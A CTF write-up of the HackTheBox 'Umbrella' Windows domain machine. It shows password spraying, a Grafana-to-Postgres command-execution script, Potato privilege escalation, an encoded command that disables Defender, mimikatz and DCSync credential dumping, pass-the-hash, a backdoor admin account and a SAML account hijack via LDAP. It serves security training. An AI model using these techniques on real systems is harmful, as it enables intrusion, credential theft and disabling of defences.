Hackthebox Business 2023: Umbrella

Time 15 minute read

“Bypass SAML authentication on a Nextcloud, use the newly found API key to connect to a Grafana instance and use a Remote Code Execution through Postgres to get a shell to access the machine as Network Service. Finally escalate to local admin using a schedule task to recover the SeImpersonatePrivilege privilege, and dump the Domain Admins NTLM hash with Mimikatz.”

I had the chance to be a part of the Hackthebox University CTF 2023 (Brains & Bytes), with the GCC Team. This article is the writeup of one of the challenges I solved during the CTF. It was solved using an unintended way. I will first present the way I solved it, and then the intended way (thanks to rayanlecat for talking me through the intended way, allowing me to do it afterwards).

Thank you to all my teammates who helped solve this challenge <3.

The challenge hadn’t any description, you spin it up, get your IP, and like on a regular Hackthebox machine, have to find 2 flags, user.txt and root.txt.

Let’s take a look at the attack perimeter. We are in a CTF environement, so nothing wrong with a little aggressive scan.

$ nmap -A -T4 -p- -Pn 10.129.229.149
Nmap scan report for umbrella.htb (10.129.229.149)
Host is up, received syn-ack (0.017s latency).
Scanned at 2023-12-08 20:27:47 GMT for 64s

PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
80/tcp   open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Science Labs
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2023-12-09 03:27:54Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: umbrella.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.umbrella.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.umbrella.htb
| Issuer: commonName=umbrella-DC01-CA/domainComponent=umbrella
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-10-20T16:47:41
| Not valid after:  2024-10-19T16:47:41
| MD5:   c2f6:e1ad:919a:f0ca:4b71:c506:a069:8231
| SHA-1: eb16:048a:510b:dd82:fc5c:7d2c:eb43:46d8:71b9:f47e
| -----BEGIN CERTIFICATE-----
| MIIGNjCCBR6gAwIBAgITdAAAAAI23vP5A8zz2AAAAAAAAjANBgkqhkiG9w0BAQsF
...
| P5pnfFSGI+qyUg==
|_-----END CERTIFICATE-----
443/tcp  open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=prd23-nextcloud.umbrella.htb/organizationName=Umbrella/organizationalUnitName=Research and Development/emailAddress=research@umbrella.htb
| Issuer: commonName=umbrella-DC01-CA/domainComponent=umbrella
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-10-24T11:36:51
| Not valid after:  2073-10-11T11:36:51
| MD5:   0b05:a552:4460:2f42:7027:4761:b883:665c
| SHA-1: eaae:a4ba:3f34:4786:ed76:08ef:96c3:7d79:14b6:2fa3
| -----BEGIN CERTIFICATE-----
| MIIFtzCCBJ+gAwIBAgITdAAAAAYWisOvPYXnBQAAAAAABjANBgkqhkiG9w0BAQsF
...
| HYOlTKYZE0R2Bd5bA9N+MJ/g77vEKKKWeHzu
|_-----END CERTIFICATE-----
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.umbrella.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.umbrella.htb
| Issuer: commonName=umbrella-DC01-CA/domainComponent=umbrella
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-10-20T16:47:41
| Not valid after:  2024-10-19T16:47:41
| MD5:   c2f6:e1ad:919a:f0ca:4b71:c506:a069:8231
| SHA-1: eb16:048a:510b:dd82:fc5c:7d2c:eb43:46d8:71b9:f47e
| -----BEGIN CERTIFICATE-----
| MIIGNjCCBR6gAwIBAgITdAAAAAI23vP5A8zz2AAAAAAAAjANBgkqhkiG9w0BAQsF
...
| P5pnfFSGI+qyUg==
|_-----END CERTIFICATE-----
2179/tcp open  vmrdp?        syn-ack
9389/tcp open  mc-nmf        syn-ack .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 13393/tcp): CLEAN (Timeout)
|   Check 2 (port 49837/tcp): CLEAN (Timeout)
|   Check 3 (port 14606/udp): CLEAN (Timeout)
|   Check 4 (port 58562/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2023-12-09T03:28:15
|_  start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec  8 20:28:51 2023 -- 1 IP address (1 host up) scanned in 64.38 seconds

Nothing to unusual for a windows machine in the services.

enum4linux didn’t give any interesting infos either.

Link 4. Entry point

Let’s checkout the website, since no service seems to stand out for as vulnerable for now.

Website
Website

It seemed a classical empty website like on many Hackthebox machines. We can harvest names along the way, to build username wordlists later.

Jennifer Roberts
Michael Anderson
Robert Turner
Emily Clark
Ada Wong
Carlos Olivera
Nicholai Ginovaeff
Rebecca Chambers
James Marcus
Matt Addison

Finally, we stumble on something interesting : an image with a QR code.

QR code
QR code

This QR code redirects to a public Nextcloud share, containing a few documents. One of them, called “Welcome.pdf” contained crucial information for us.

Nextcloud
Nextcloud
Welcome.pdf
Welcome.pdf

We now are able to tranform our list of users into actual usernames.

$ cat usernames.txt
mjones
jroberts
manderson
rturner
eclark
awong
colivera
nginovaeff
rchamber

We also know that every new enrolled employee has a default password assigned, that they need to change upon there first connection. Let’s spray this password to uncover accounts which’s password hasn’t been changed yet.

CME$ crackmapexec smb umbrella.htb -u usernames.txt  -p 'UmbrellCorp2023!'
SMB         umbrella.htb    445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:umbrella.htb) (signing:True) (SMBv1:False)
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\mjones:UmbrellCorp2023! STATUS_LOGON_FAILURE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\jroberts:UmbrellCorp2023! STATUS_LOGON_FAILURE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\manderson:UmbrellCorp2023! STATUS_LOGON_FAILURE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\rturner:UmbrellCorp2023! STATUS_LOGON_FAILURE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\eclark:UmbrellCorp2023! STATUS_LOGON_FAILURE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\awong:UmbrellCorp2023! STATUS_LOGON_FAILURE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\colivera:UmbrellCorp2023! STATUS_PASSWORD_MUST_CHANGE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\nginovaeff:UmbrellCorp2023! STATUS_PASSWORD_MUST_CHANGE 
SMB         umbrella.htb    445    DC01             [-] umbrella.htb\rchamber:UmbrellCorp2023! STATUS_PASSWORD_MUST_CHANGE 

Great we have 3 accounts. Let’s change the password of one of them, and use it to run Bloodhound. With the result, if one of the other accounts has more interesting privileges, we will use this one.

$ smbpasswd -r umbrella.htb -U colivera
Old SMB password: UmbrellCorp2023!
New SMB password: GCC4Th3win!!!
Retype new SMB password: GCC4Th3win!!!
Password changed for user colivera

$ bloodhound-python -d 'umbrella.htb' -u 'colivera' -p 'GCC4Th3win!!!' -c all,loggedon -dc dc01.umbrella.htb -ns 10.129.242.22
INFO: Found AD domain: umbrella.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.umbrella.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.umbrella.htb
INFO: Found 50 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 12 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: prd23-nextcloud
INFO: Querying computer: dc01.umbrella.htb
WARNING: Could not resolve: prd23-nextcloud: All nameservers failed to answer the query prd23-nextcloud. IN A: Server Do53:10.129.242.22@53 answered SERVFAIL
INFO: User with SID S-1-5-21-757881818-794474345-2904730715-1601 is logged in on dc01.umbrella.htb
INFO: User with SID S-1-5-21-757881818-794474345-2904730715-500 is logged in on dc01.umbrella.htb
INFO: Done in 00M 26S

The analysis of the graph didn’t give up any obvious way to get immediate acces to a Domain Admins account. However, it did reveal some interesting accounts, like jvalentine which is a Nextcloud admin, and a Grafana admin. In addition of giving us an interesting target, it also gives away the existence of a Grafana instance.

Bloodhound
Bloodhound

NB: It’s impossible to authenticate to the Nextcloud with any of the three pwned accounts, as they are not provisioned in the Nextcloud instance.

Let’s look for the Grafana instance. To achieve this, we can use adidnsdump which is a tool that dumps DNS records from a Active Directory domain.

$ adidnsdump -u "umbrella.htb\colivera" -p 'GCC4Th3win!!!' umbrella.htb   
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[+] Found 11 records

$ cat records.csv 
type,name,value
?,prd23-nextcloud,?
?,prd23-grafana,?
?,prd23-db01,?
?,prd23-adfs,?
?,ForestDnsZones,?
?,DomainDnsZones,?
A,dc01,10.129.242.22
NS,_msdcs,dc01.umbrella.htb.
NS,@,dc01.umbrella.htb.
A,@,10.129.242.22
A,@,172.16.20.1

The new found domains are : prd23-nextcloud, prd23-grafana, prd23-db01, prd23-adfs. The ADFS server is probably the server used for SSO authentication on the Nextcloud instance.

Let’s try to authenticate to the Grafana with the accounts we have so far. It works ! After poking around for a bit, we find this dashboard.

Grafana
Grafana

When taking a closer look at where this dashboard is loaded from, we see a few SQL requests going out to the server, and comming back loaded with the stats used in the front-end. But what if we modify the SQL request?

Burpsuite regular request
Burpsuite regular request

Well there is no restriction at all. In that case, it should’t be to hard to RCE shouldn’t it ? This payload does the trick:

copy (SELECT '') to program 'whoami';

Burpsuite RCE request
Burpsuite RCE request

As you can see, we don’t get a result, but after redirecting the result to a file and reading it with the following payload, we could confirm the RCE was working.

SELECT pg_read_file('cmd.txt');

We tried creating a reverse shell, but it kept closing after a few seconds. A solution would have been to use a C2 like havoc, but lazyness took over when we noticed the anti-virus making it harder to drop the payload, and we scripted a little bit to automate executing a command, storing the result inside C:\\inetpub\wwwroot\cmd.txt, and reading the result at http://umbrella.htb/cmd.txt.

import requests

USERNAME = 'jvalentine'
PASSWORD = 'Z2BgbeQSrH1L!'
URL_GRAFANA = "http://prd23-grafana.umbrella.htb:80"
URL_BASESITE = "http://umbrella.htb:80"
REQUEST_TEMPLATE = {
    "queries": [
        {
            "refId":"A",
            "datasource": {
                "type":"postgres",
                "uid":"d251a4a7-1599-4e9f-bb43-58599d6cd6fb"
            },
            "rawSql":"REPLACE_ME",
            "format":"table",
            "datasourceId":1,
            "intervalMs":60000,
            "maxDataPoints":1060
        }
    ],
    "from":"1702103622728",
    "to":"1702125222728"
}

s = requests.Session()

login_url = f"{URL_GRAFANA}/login"
login_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "content-type": "application/json",
    "Origin": URL_GRAFANA,
    "Connection": "close"
}
login_data={"password": PASSWORD, "user": USERNAME}
r = s.post(login_url, headers=login_headers, json=login_data)

if r.status_code != 200:
    print("[!] Login failed")
    exit()

print(f"[+] Logged as {USERNAME}\n")

def rce_request(session, command):
    request_data = REQUEST_TEMPLATE
    request_data['queries'][0]['rawSql'] = f"copy (SELECT '') to program '{command} > /inetpub/wwwroot/cmd.txt';"

    r = session.post(f"{URL_GRAFANA}/api/ds/query?ds_type=postgres&requestId=Q100", json=request_data)
    if r.status_code != 200:
        return f"Error: {r.json()['results']['A']['error']}\n"

    r = session.get(f"{URL_BASESITE}/cmd.txt")
    return r.text

while True:
    user_input = input("cmd> ")
    if user_input == "exit":
        break
    print(rce_request(s, user_input))

The account we are running commands from is the nt authority\network service account. By default, a service account has a few privileges, among them the SeImpersonatePrivilege privilege. This privilege allows the account to impersonate other users, and is often used by services to authenticate to other services. However, this privilege is disabled on certain services accounts, like Network and Local. After a bit (a lot actually) of poking around, we found this tool : FullPowers. This tool allows us to recover the SeImpersonatePrivilege privilege by creating a task through the Task Scheduler Service.

$ rlwrap python3 rce.py
[+] Logged as jvalentine

cmd> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name          Description              State  
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled

cmd> C:\inetpub\wwwroot\FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 6188
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

Now that we recovered the privilege, we can use most of the Potato exploits to escalate to nt authority\system. We used this one since it wasn’t flagged by Windows Defender, saving us the use of a packer or fancy injection method: CoercedPotato. We used this to disable the AV.

cmd> C:\inetpub\wwwroot\FullPowers.exe -c "C:\inetpub\wwwroot\CoercedPotato.exe -c \"powershell.exe -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=\""

$ echo "cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=" | base64 -d
powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true

Final step was to dump the NTLM hashes from the LSASS process with mimikatz. However, our home made shell wasn’t able to get us the output for some reason, so now that the AV was disabled, it’s easy to drop a Havoc beacon to get a stable shell and dump the hashes (we’ll use them later).

Havoc
Havoc

PS> powershell C:\inetpub\wwwroot\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
...
msv :	
	 [00000003] Primary
	 * Username : DC01$
	 * Domain   : UMBRELLA
	 * NTLM     : 988512257bc15f7ebd041ecad92a5cfa
	 * SHA1     : e44af6a194c907deff58c5bce8fe402b326b3088
	 * DPAPI    : e44af6a194c907deff58c5bce8fe402b
...

And here is the flag !

C:\> type C:\Users\Administrator\Desktop\root.txt
HTB{f0und_th3_k3y5_t0_7h3_k1ngd0m!}

Well… Now that we are domain admin, where is that user flag ? Maybe you noticed that Bloodhound found 2 computers: dc01.umbrella.htb and prd23-nextcloud. Hackthebox boxes are only made of one machine at a time. So the fact that the nextcloud shows up as a computers hints towards a VM hosting the service. Let’s check out the Hyper-V manager. First, we need the Domain Admin (awesker) NTLM hash. Since we have the hash of the DC01$ machine, we can use the DCSync technique to dump the NTDS database, containing the domains secrets.

$ crackmapexec smb umbrella.htb -u 'DC01$' -H ':988512257bc15f7ebd041ecad92a5cfa' --ntds
SMB         umbrella.htb    445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:umbrella.htb) (signing:True) (SMBv1:False)
SMB         umbrella.htb    445    DC01             [+] umbrella.htb\DC01$:988512257bc15f7ebd041ecad92a5cfa 
SMB         umbrella.htb    445    DC01             [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         umbrella.htb    445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
...
SMB         umbrella.htb    445    DC01             umbrella.htb\awesker:3106:aad3b435b51404eeaad3b435b51404ee:59b4a2f0e2ecd9f337fa9d5438bf1f2b:::

Armed with this all mighty hash, let’s open-up RDP access to the machine.

$ impacket-psexec awesker@umbrella.htb -hashes ':59b4a2f0e2ecd9f337fa9d5438bf1f2b'

C:\Windows\system32> net user /add Logs "GCC4Th3win!!!" /domain
C:\Windows\system32> net localgroup Administrators Logs /add
C:\Windows\system32> net localgroup "Remote Desktop Users" Logs /add
C:\Windows\system32> powershell -c "Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name 'fDenyTSConnections' -value 0"
C:\Windows\system32> powershell -c "Enable-NetFirewallRule -DisplayGroup 'Remote Desktop'"

$ xfreerdp /v:umbrella.htb /d:umbrella.htb /u:Logs /p:'GCC4Th3win!!!' +dynamic-resolution 

Hyper-V
Hyper-V

We are missing a password to connect to the VM, but since the machine resembles another windows machine that was a challenge during the Hackthebox Business CTF 2023, I took a look at my good friend xThaz’s writeup of the challenge: gcc-ensibs.fr/write-ups/xthaz-contempt-fullpwn. He used the GRUB bootloader to get a root shell :

  1. Press “e” when on the GRUB screen
  2. Find the line starting with “Linux” and add init=/bin/bash at the end
  3. Ctrl+X to save and reboot

GRUB
GRUB

The only difference here is that the GRUB screen is not displayed. However, running the VM and spamming “ESC” after making sure to have clicked on it for it to capture our inputs, should do the trick.

And here is the user flag !

root@(none):/home/jvalentine@umbrella.htb# cat user.txt
HTB{1mp3rs0n4710n_4t_1ts_f1n3s7}

Now that we went over the unintended way, let’s see how it was supposed to be solved.

At this point, we have gained access to the public Nextcloud share, but not the the Grafana instance. In fact, we are not supposed to be able to authenticate to the Grafana instance with the accounts we have so far. This was an unintended misconfiguration.

When analysing the traffic between us and the server when we try to authenticate with our unprovisioned accounts, at some point an SSO login request is emitted to POST https://prd23-nextcloud.umbrella.htb/apps/user_saml/saml/acs. If we decode the base64 encoded body of that request, we get the following result:

<AttributeStatement>
    <Attribute Name="userPrincipalName">
        <AttributeValue>colivera@umbrella.htb</AttributeValue>
    </Attribute>
    <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname">
        <AttributeValue>Carlos</AttributeValue>
    </Attribute>
...
</AttributeStatement>

The UPN attribute is mapped to our email adresse. Since by default, users of an Active Directory have the WRITE_PROPERTY permission on their own user object, we can modify our own email adress to try to hijack another person’s account. In this case, we can hijack jvalentine’s account, which is a Nextcloud admin.

$ cat hijack.ldif
dn: CN=Carlos Olivera,OU=IT Staff,OU=Employees,DC=umbrella,DC=htb
changetype: modify
replace: mail
mail:jvalentine@umbrella.htb

$ ldapmodify -H ldap://dc01.umbrella.htb -D "CN=CARLOS OLIVERA,OU=IT STAFF,OU=EMPLOYEES,DC=UMBRELLA,DC=HTB" -w "GCC4Th3win!!!" -f hijack.ldif

When we now login with our/jvalentine’s email adress, we should get access to the Nextcloud interface. Not much to see here, except for a PDF file giving us two important pieces of information:

Yeah already did that part, check out this chapter. The only difference here is that we connect as Admin with the API key we found in the previous step. The dashboard itself (also linked in the PDF from the previous part) is public, but requesting the backend to RCE will require the key. To use it, just pass it in the Authorization header.

Authorization: Bearer glsa_KEUmkI0YaJqHvP1Bx6GHYNk5cssdj51T_4e581a63

Now that we have our shell, we can find jvalentine’s password in the Grafana ldap config files.

PS> cat C:\\Program Files\\GrafanaLabs\\grafana\\conf\\ldap.toml
...
bind_dn = \"CN=Jill Valentine,OU=Virology,OU=Employees,DC=umbrella,DC=htb\"
bind_password = 'Z2BgbeQSrH1L!'
...

We can use those to SSH into the Hyper-V machine, and get the user flag. If you choose to go with a netcat reverse shell, you can just SSH into it. If not, you will probably have to do some port forwarding to SSH from your attacking machine.

PS> ssh jvalentine@umbrella.htb 172.16.20.20
jvalentine@umbrella.htb@172.16.20.20's password: Z2BgbeQSrH1L!
jvalentine@umbrella.htb@prd23-nextcloud:~$ 

Finally, we can privesc to root since we have permission tu use sudo on the machine, for any program.

jvalentine@umbrella.htb@prd23-nextcloud:~$ sudo -l
[sudo] password for jvalentine@umbrella.htb:
Matching Defaults entries for jvalentine@umbrella.htb on prd23-nextcloud:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jvalentine@umbrella.htb may run the following commands on prd23-nextcloud:
    (ALL : ALL) ALL
jvalentine@umbrella.htb@prd23-nextcloud:~$ sudo /bin/bash
root@umbrella.htb@prd23-nextcloud:~$

We find the Domain Admin awesker’s keytab in /home/awesker@umbrella.htb/.keytabs. We can extract his NTLM hash from it with the KeyTabExtract tool for example. First copy over the file to your attacking machine, and apply the tool locally on the extracted file.

$ python3 KeyTabExtract/keytabextract.py awesker.keytab 
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[!] Unable to identify any AES256-CTS-HMAC-SHA1 hashes.
[!] Unable to identify any AES128-CTS-HMAC-SHA1 hashes.
[+] Keytab File successfully imported.
	REALM : UMBRELLA.HTB
	SERVICE PRINCIPAL : awesker/
	NTLM HASH : 59b4a2f0e2ecd9f337fa9d5438bf1f2b

Last little obstacle, WinRM port is not opened, and psexec doesn’t work out of the box, because of the Anti-Virus. Either you disabled it earlier, or you can use atexec from impacket to disable it through a scheduled task, and then use psexec with the Domain Admin NTLM hash.

$ impacket-atexec -no-pass -hashes ':59b4a2f0e2ecd9f337fa9d5438bf1f2b' awesker@umbrella.htb 'powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true'
$ impacket-psexec -no-pass -hashes ':59b4a2f0e2ecd9f337fa9d5438bf1f2b' awesker@umbrella.htb
C:\Windows\system32>

The challenge was quite fun to work on, and challenging as well. My main learning point was that a service account, even when restricted, could very often recover it’s default permissions through scheduled tasks.

However, there are a few drawbacks I wanted to share.

  1. This machine is a modified reuse of a Windows challenge that was available last summer during the Hackthebox Business CTF, with a few minor differences in the intended solve path.
  2. Leaving the anti-virus active on a challenge like this is more of a pain than anything else. It’s not that hard to bypass and doesn’t add anything to the challenge.

Other than that, I mostly had fun (less when I was stuck at 6am after making no progress at all for the last 8 hours), thanks to the challenge makers of the Hackthebox Team, and congratz to all teams, especially to the ESNA and 2600 teams for that french podium 😁.